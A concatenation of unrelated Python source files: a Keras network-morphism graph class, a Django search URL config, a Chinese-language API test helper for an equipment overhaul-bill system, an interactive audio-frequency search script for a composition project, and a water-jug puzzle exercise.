        # Add the pooling layer chain.
        pooling_layer_list = self._get_pooling_layers(conv_input_id, relu_input_id)
        skip_output_id = conv_input_id
        for index, layer_id in enumerate(pooling_layer_list):
            layer = self.layer_list[layer_id]
            new_node_id = self._add_new_node()
            self._add_edge(self._copy_layer(layer), skip_output_id, new_node_id, False)
            skip_output_id = new_node_id

        # Add the weighted add layer.
        new_node_id = self._add_new_node()
        layer = self._new_weighted_add_layer()

        relu_output_id = self.adj_list[relu_input_id][0][0]
        self._redirect_edge(relu_input_id, relu_output_id, new_node_id)
        self._add_edge(layer, new_node_id, relu_output_id, False)
        self._add_edge(layer, skip_output_id, relu_output_id, False)

        self._refresh()

    def to_concat_skip_model(self, start_id, end_id):
        """Add a weighted add concatenate connection from before start node to end node.

        Returns:
            A new Keras model with the added connection.
        """
        self.operation_history.append(('to_concat_skip_model', start_id, end_id))
        start = self.layer_list[start_id]
        end = self.layer_list[end_id]
        conv_input_id = self.layer_id_to_input_node_ids[start_id][0]
        relu_input_id = self.adj_list[self.layer_id_to_output_node_ids[end_id][0]][0][0]

        # Add the pooling layer chain.
        pooling_layer_list = self._get_pooling_layers(conv_input_id, relu_input_id)
        skip_output_id = conv_input_id
        for index, layer_id in enumerate(pooling_layer_list):
            layer = self.layer_list[layer_id]
            new_node_id = self._add_new_node()
            self._add_edge(self._copy_layer(layer), skip_output_id, new_node_id, False)
            skip_output_id = new_node_id

        # Add the concatenate layer.
        new_node_id = self._add_new_node()
        layer = self._new_concat_layer()

        relu_output_id = self.adj_list[relu_input_id][0][0]
        self._redirect_edge(relu_input_id, relu_output_id, new_node_id)
        self._add_edge(layer, new_node_id, relu_output_id, False)
        self._add_edge(layer, skip_output_id, relu_output_id, False)

        # Widen the related layers.
        self.next_vis = [False] * self.n_nodes
        self.pre_vis = [False] * self.n_nodes
        self.middle_layer_vis = [False] * len(self.layer_list)

        self.pre_vis[relu_output_id] = True
        dim = self._layer_width(end)
        n_add = self._upper_layer_width(conv_input_id)
        self._search_next(relu_output_id, dim, dim, n_add)

        self._refresh()

    def extract_descriptor(self):
        ret = NetworkDescriptor()
        topological_node_list = self._topological_order()
        for u in topological_node_list:
            for v, layer_id in self.adj_list[u]:
                layer = self.layer_list[layer_id]
                if self._is_layer(layer, 'Conv'):
                    ret.add_conv_width(self._layer_width(layer))
                if self._is_layer(layer, 'Dense'):
                    ret.add_dense_width(self._layer_width(layer))

        layer_count = 0
        # The position of each node, how many Conv and Dense layers before it.
        pos = [0] * len(topological_node_list)
        for u in topological_node_list:
            pos[u] = layer_count
            for v, layer_id in self.adj_list[u]:
                layer = self.layer_list[layer_id]
                if self._is_layer(layer, 'Conv') or self._is_layer(layer, 'Dense'):
                    layer_count += 1

        for u in topological_node_list:
            for v, layer_id in self.adj_list[u]:
                if pos[u] == pos[v]:
                    continue
                layer = self.layer_list[layer_id]
                if self._is_layer(layer, 'Concatenate'):
                    ret.add_skip_connection(pos[u], pos[v], NetworkDescriptor.CONCAT_CONNECT)
                if self._is_layer(layer, 'WeightedAdd'):
                    ret.add_skip_connection(pos[u], pos[v], NetworkDescriptor.ADD_CONNECT)

        return ret

    def _wider_bn(self, layer, start_dim, total_dim, n_add):
        return StubBatchNormalization()

    def _wider_next_conv(self, layer, start_dim, total_dim, n_add):
        return StubConv(self._layer_width(layer))

    def _wider_next_dense(self, layer, start_dim, total_dim, n_add):
        return StubDense(self._layer_width(layer))

    def _wider_weighted_add(self, layer, n_add):
        return StubWeightedAdd()

    def _wider_pre_conv(self, layer, n_add):
        return StubConv(self._layer_width(layer) + n_add)

    def _wider_pre_dense(self, layer, n_add):
        return StubDense(self._layer_width(layer) + n_add)

    def _deeper_conv_block(self, target, kernel_size):
        return [StubConv(self._layer_width(target)), StubBatchNormalization(), StubActivation()]

    def _dense_to_deeper_layer(self, target):
        return StubDense(self._layer_width(target))

    def _is_layer(self, layer, layer_type):
        if layer_type == 'Conv':
            return isinstance(layer, StubConv) or is_conv_layer(layer)
        if layer_type == 'Dense':
            return isinstance(layer, StubDense) or isinstance(layer, Dense)
        if layer_type == 'BatchNormalization':
            return isinstance(layer, StubBatchNormalization) or isinstance(layer, BatchNormalization)
        if layer_type == 'Concatenate':
            return isinstance(layer, StubConcatenate) or isinstance(layer, Concatenate)
        if layer_type == 'WeightedAdd':
            return isinstance(layer, StubWeightedAdd) or isinstance(layer, WeightedAdd)
        if layer_type == 'Pooling':
            return isinstance(layer, StubPooling)

    def _layer_width(self, layer):
        if self._is_layer(layer, 'Dense'):
            return layer.units
        if self._is_layer(layer, 'Conv'):
            return layer.filters
        raise TypeError('The layer should be either Dense or Conv layer.')

    def _copy_layer(self, layer):
        return deepcopy(layer)

    def _refresh(self):
        pass

    def _new_concat_layer(self):
        return StubConcatenate()

    def _new_weighted_add_layer(self):
        return StubWeightedAdd()

class NetworkMorphismGraph(Graph):
    def _is_layer(self, layer, layer_type):
        if layer_type == 'Conv':
            return is_conv_layer(layer)
        if layer_type == 'Dense':
            return isinstance(layer, Dense)
        if layer_type == 'BatchNormalization':
            return isinstance(layer, BatchNormalization)
        if layer_type == 'Concatenate':
            return isinstance(layer, Concatenate)
        if layer_type == 'WeightedAdd':
            return isinstance(layer, WeightedAdd)
        if layer_type == 'Pooling':
            return is_pooling_layer(layer)

    def _wider_bn(self, layer, start_dim, total_dim, n_add):
        return wider_bn(layer, start_dim, total_dim, n_add)

    def _wider_next_conv(self, layer, start_dim, total_dim, n_add):
        return wider_next_conv(layer, start_dim, total_dim, n_add)

    def _wider_next_dense(self, layer, start_dim, total_dim, n_add):
        return wider_next_dense(layer, start_dim, total_dim, n_add)

    def _wider_weighted_add(self, layer, n_add):
        return wider_weighted_add(layer, n_add)

    def _wider_pre_conv(self, layer, n_add):
        return wider_pre_conv(layer, n_add)

    def _wider_pre_dense(self, layer, n_add):
        return wider_pre_dense(layer, n_add)

    def _deeper_conv_block(self, target, kernel_size):
        return deeper_conv_block(target, kernel_size)

    def _dense_to_deeper_layer(self, target):
        return dense_to_deeper_layer(target)

    def _copy_layer(self, layer):
        return copy_layer(layer)

    def _new_concat_layer(self):
        return Concatenate()

    def _new_weighted_add_layer(self):
        return WeightedAdd()

    def _refresh(self):
        input_tensor = Input(shape=get_int_tuple(self.model.inputs[0].shape[1:]))
        input_id = self.node_to_id[self.model.inputs[0]]
        output_id = self.node_to_id[self.model.outputs[0]]

        self.node_list[input_id] = input_tensor
        self.node_to_id[input_tensor] = input_id
        for v in self._topological_order():
            for u, layer_id in self.reverse_adj_list[v]:
                layer = self.layer_list[layer_id]

                if isinstance(layer, (WeightedAdd, Concatenate)):
                    edge_input_tensor = list(map(lambda x: self.node_list[x],
                                                 self.layer_id_to_input_node_ids[layer_id]))
                else:
                    edge_input_tensor = self.node_list[u]

                if layer_id in self.old_layer_ids:
                    new_layer = copy_layer(layer)
                else:
                    new_layer = layer
                    self.old_layer_ids[layer_id] = True

                temp_tensor = new_layer(edge_input_tensor)
                self.node_list[v] = temp_tensor
                self.node_to_id[temp_tensor] = v
        self.model = Model(input_tensor, self.node_list[output_id])

    def produce_model(self):
        """Build a new Keras model based on the current graph."""
        self._refresh()
        return self.model


from django.conf.urls.defaults import url, patterns

urlpatterns = patterns('search.views',
    url(r'^$', 'results', name='search.results'),

    url(r'^(?P<type_>addon|library)/$', 'search_by_type',
        name='search_by_type'),

    url(r'^me/$', 'me', name='search.me'),

    url(r'^me/(?P<type_>addon|library)/$', 'me_by_type', name='search.me.by_type'),
)


# _*_coding:utf-8_*_

import json

import requests

from public import excel
from public import params
from 测试用例.接口自动化.接口自动化_V1.设备管理 import equipmentmanage_public
from 测试用例.接口自动化.接口自动化_V1.设备管理 import overhaulplan_public

domain = params.testdomain
port = params.testport
headers = {
        'Content-Tpye': 'application/json;charset=utf-8'
    }

def overhaulbill_create():
    u'''生成大修单'''
    opgids = []
    opgid = overhaulplan_public.overhaulplan_create()
    opgids.append(opgid)
    opsreq = overhaulplan_public.overhaulplan_select(opgid)
    opcode = json.loads(opsreq)['data']['code']
    equipmentmanage_public.associationequipment(opgid)
    overhaulplan_public.overhaulplan_senddown(opgids)
    obfreq = overhaulbill_findbycode(opcode)
    obgid = json.loads(obfreq)['data'][0]['gid']
    return obgid

def overhaulbill_select(obgid):
    u'''查询大修单详情'''
    interfaceurl = 'http://' + domain + ':' + port + '/ime-container/imeOverhaulBill/findById.action?gid=' + obgid
    obsreq = requests.get(interfaceurl, headers=headers).content.decode()
    return obsreq

def overhaulbill_findbycode(opcode):
    u'''按大修计划编号查询大修单'''
    interfaceurl = 'http://' + domain + ':' + port + '/ime-container/imeOverhaulBill/query.action?usedPost=true'
    data = {
        "query":{
            "query":[
                {"left":"(","field":"code","type":"like","value":opcode,"operator":"or"},
                {"field":"imeOverhaulPlanCode","type":"like","value":opcode,"operator":"or"},
                {"field":"mdEquipmentCode","type":"like","value":opcode,"operator":"or"},
                {"field":"mdEquipmentName","type":"like","value":opcode,"operator":"or"},
                {"field":"imeOverhaulPlanType","type":"like","value":opcode,"operator":"or"},
                {"field":"mdEquipmentSpec","type":"like","value":opcode,"operator":"or"},
                {"field":"mdEquipmentModel","type":"like","value":opcode,"operator":"or"},
                {"field":"cycle","type":"like","value":opcode,"operator":"or"},
                {"field":"cycleUnit","type":"like","value":opcode,"operator":"or"},
                {"field":"smPersonnelName","type":"like","value":opcode,"operator":"or"},
                {"right":")","field":"status","type":"like","value":opcode,"operator":"and"}]},
        "pager":{"page":1,"pageSize":10}
    }
    obfreq = requests.post(interfaceurl, headers=headers, data=json.dumps(data)).content.decode()
    return obfreq

def overhaulbill_dispatch(obgids):
    u'''大修单派工'''
    interfaceurl = 'http://' + domain + ':' + port + '/ime-container/imeOverhaulBill/billDispatch.action'
    data = {
        "gids": obgids,
        "imeOverhaulBill": {"smPersonnelGid": excel.excel_find('PersonnelGid'), "smPersonnelName": "接口自动化测试人员"}
    }
    obdpreq = requests.post(interfaceurl, headers=headers, data=json.dumps(data)).content.decode()
    return obdpreq

def overhaulbill_saveorrecord(obgid, action):
    u'''大修单报工'''
    obsreq = overhaulbill_select(obgid)
    obsjson = json.loads(obsreq)['data']
    mdEquipmentName = obsjson['mdEquipmentName']
    gid = obsjson['gid']
    mdEquipmentCode = obsjson['mdEquipmentCode']
    cycle = obsjson['cycle']
    imeOverhaulPlanType = obsjson['imeOverhaulPlanType']
    endDate = obsjson['endDate']
    cycleUnit = obsjson['cycleUnit']
    mdEquipmentGid = obsjson['mdEquipmentGid']
    code = obsjson['code']
    startDate = obsjson['startDate']
    smPersonnelName = obsjson['smPersonnelName']
    # mdEquipmentSpec = obsjson['mdEquipmentSpec']
    mdEquipmentModel = obsjson['mdEquipmentModel']
    status = obsjson['status']
    imeOverhaulPlanGid = obsjson['imeOverhaulPlanGid']
    standard = obsjson['imeOverhaulBillInfoList'][0]['standard']
    obilgid = obsjson['imeOverhaulBillInfoList'][0]['gid']
    imeOverhaulBillGid = obsjson['imeOverhaulBillInfoList'][0]['imeOverhaulBillGid']
    imeOverhaulPlanInfoGid = obsjson['imeOverhaulBillInfoList'][0]['imeOverhaulPlanInfoGid']
    content = obsjson['imeOverhaulBillInfoList'][0]['content']
    imeOverhaulPlanCode = obsjson['imeOverhaulPlanCode']
    smPersonnelGid = obsjson['smPersonnelGid']
    interfaceurl = ''
    if action == 'record':
        interfaceurl = 'http://' + domain + ':' + port + '/ime-container/imeOverhaulBill/billRecord.action'
    elif action == 'save':
        interfaceurl = 'http://' + domain + ':' + port + '/ime-container/imeOverhaulBill/billSave.action'
    data = {
        "mdEquipmentName": mdEquipmentName,
        "gid": gid,
        "mdEquipmentCode": mdEquipmentCode,
        "cycle": cycle,
        "imeOverhaulPlanType": imeOverhaulPlanType,
        "imeOverhaulBillSpareList": [],
        "endDate": endDate,
        "cycleUnit": cycleUnit,
        "mdEquipmentGid": mdEquipmentGid,
        "code": code,
        "startDate": startDate,
        "smPersonnelName": smPersonnelName,
        # "mdEquipmentSpec": mdEquipmentSpec,
        "mdEquipmentModel": mdEquipmentModel,
        "status": status,
        "imeOverhaulPlanGid": imeOverhaulPlanGid,
        "imeOverhaulBillInfoList":[{
            "standard": standard,
            "gid": obilgid,
            "imeOverhaulBillGid": imeOverhaulBillGid,
            "imeOverhaulPlanInfoGid": imeOverhaulPlanInfoGid,
            "content": content,
            "result": "大修结果"
        }],
        "imeOverhaulPlanCode": imeOverhaulPlanCode,
        "smPersonnelGid": smPersonnelGid
    }
    obrreq = requests.post(interfaceurl, headers=headers, data=json.dumps(data)).content.decode()
    return obrreq

测试用例/接口自动化/接口自动化_V1/设备管理/大修管理/大修单/overhaulbill_public.py


"""
analyze_audio.py and analyze_harmony.py are the 'score' files
TO DO:
move all other scripts to package folder named "FieldHarmony" or something
and change all imports to from FieldHarmony import x (I think this is how it
works)
last updated: 2.12.2020
john eagle
"""

"""
instrument ranges:
-flute [246.94 - 2093] alto flute [196 - 1568]
-clarinet [146.83 - 1568]
-violin/vla [196 - 3951] viola [130.81 - 1760]
-cello [65.406 - 1318.5]
"""

# std library imports
import sys
# package imports
from parameters import params
import program_functions as pf
import timings
import text_file_io as tfio
import harmony_group as hg
import ly_out as lyo

# set directory
try:
    # see if user provided directory name at command line
    pf.set_directory(sys.argv[1], params)
except:
    # default
    pf.set_directory("default results", params)

mics = ['shotgun', 'stereo']

# Macro times
# read in macro file
part = tfio.read_in_dict_json(params=params)

"""

"part name"= {
    "section num": {
        "mic name": [[amp, freq], ...]
    }
}
"""
section = '1' # range 1-36
tolerance = 0.1
search_mic = "stereo"
search_freq = 0

user_prompt = "Change parameter ('s=_', 't='_, 'm=', 'f=_'), \n"
user_prompt += "'q' to quit, \nor 'enter' to search.\n"

while(True):
    print()
    print('*' * 60)
    current_data = "\n\nSETTINGS\n\tSection: \t\t\t" + str(section)
    current_data += "\n\tTolerance radius: \t\t" + str(tolerance)
    current_data += "\n\tMic ('shotgun' or 'stereo'): \t" + search_mic
    current_data += "\n\tFrequency (to search for): \t" + str(search_freq) + "\n"
    print(current_data)
    print(user_prompt)
    ui = input("INPUT: ")
    if ui:
        if ui[0].lower() == 'q':
            exit()
        elif ui[0].lower() == 's':
            try:
                # convert to int to check
                section = int(ui[2:])
            except:
                print("section must be an int, range 1-36")
                input("'enter' to go back to menu")
                continue
            # check range
            if section < 1 or section > 36:
                print("section must be an int, range 1-36")
                section = '1'
                input("'enter' to go back to menu")
                continue
            else:
                # convert back to string for program
                section = str(section)
        elif ui[0].lower() == 't':
            try:
                tolerance = float(ui[2:])
            except:
                print("tolerance radius must be a positive float value")
                input("'enter' to go back to menu")
                continue
            if tolerance < 0:
                print("tolerance radius must be a positive float value")
                tolerance = 0.0
                input("'enter' to go back to menu")
                continue
        elif ui[0].lower() == 'm':
            search_mic = ui[2:]
            if search_mic != 'shotgun' and search_mic != 'stereo':
                print(search_mic, 'only mics available: shotgun or stereo')
                input("'enter' to go back to menu")
                continue
        elif ui[0].lower() == 'f':
            try:
                search_freq = float(ui[2:])
            except:
                print("freq must be a positive float or int")
                input("'enter' to go back to menu")
                continue
            if search_freq < 0:
                print("freq must be a positive float or int")
                input("'enter' to go back to menu")
                search_freq = 0
                continue

    else:
        # now perform search
        peaks = hg.PeakFrequencies(part[section][search_mic], params, with_amps=True)
        maximum_freq = search_freq + tolerance
        minimum_freq = search_freq - tolerance
        matches = []
        for freq in peaks.freqs:
            if freq <= maximum_freq and freq >= minimum_freq:
                matches.append(freq)
        print("TOTAL MATCHES: ", len(matches))
        input("'enter' to continue")
        if matches:
            for match in matches:
                node = peaks.return_node(match)
                print("\n\t", match)
                for connection in node.connections:
                    print("\t\t", connection)
            print_out = input("print out connections? (enter freq for 'yes' or 'enter' to skip): ")
            if print_out:
                try:
                    freq = float(print_out)
                except:
                    print("Please enter valid frequency as a float: ")
                    try:
                        freq = float(input())
                    except:
                        print("returning to main menu")
                        continue

                node = peaks.return_node(freq)

                # make abjad score
                max_voices = len(node.connections) + 1
                score = lyo.make_empty_score(max_voices)
                lyo.output_connections_ly(params, score, node, file_vars=[str(freq), section, search_mic])

        input("'enter' to go back to menu")


max_jug_1 = (int(input("Enter maximum capacity of jug 1 ")))
max_jug_2 = (int(input("Enter maximum capacity of jug 2 ")))

max_list = list() # a list to store the maximum capacities of the 2 jugs

max_list.append(max_jug_1)
max_list.append(max_jug_2)

print()

s0=list() # a list to store the initial capacities of the 2 jugs
min_jug_1 = (int(input("Enter initial state of jug 1 ")))
min_jug_2 = (int(input("Enter initial state of jug 2 ")))

print()
s0.append(min_jug_1)
s0.append(min_jug_2)

def fill(state,maximum,which):

    state_copy = state.copy() #making a copy of the initial state, so as to not change the initial state in the program
    if(state_copy[which]<maximum[which]):
        state_copy[which]=maximum[which]
    return state_copy   #returning the new state after peforming fill operation

def empty(state,maximum,which):
    state_copy=state.copy() #making a copy of the initial state, so as to not change the initial state in the program
    state_copy[which]=0
    return state_copy  #returning the new state after peforming fill operation

def xfer(state,maximum,source,destination):
    state_copy = state.copy()   #making a copy of the initial state, so as to not change the initial state in the program
    source_copy=state_copy[source]
    destination_copy=state_copy[destination]
    state_copy[destination] = state_copy[destination] + source_copy
    state_copy[source]=state_copy[source]-(maximum[destination]-destination_copy)

    if(state_copy[destination]>maximum[destination]):
        state_copy[destination]=maximum[destination]

    if(state_copy[source]<0):
        state_copy[source]=0

    return state_copy

def succ(s0,maximum):

    print("state in which we do not do anything" ,s0)
    if(s0[0]<maximum[0]):
        print("fill jug 1",fill(s0,maximum,0))
    if(s0[1]<maximum[1]):
        print("fill jug 2",fill(s0,maximum,1))

    if(s0[0]>0):
        print("empty jug 1",empty(s0,maximum,0))
        print("transfer from jug 1 to jug 2",xfer(s0,maximum,0,1))

    if(s0[1]>0):
        print("empty jug 2",empty(s0,maximum,1))
        print("transfer from jug 2 to jug 1",xfer(s0,maximum,1,0))

succ(s0,max_list)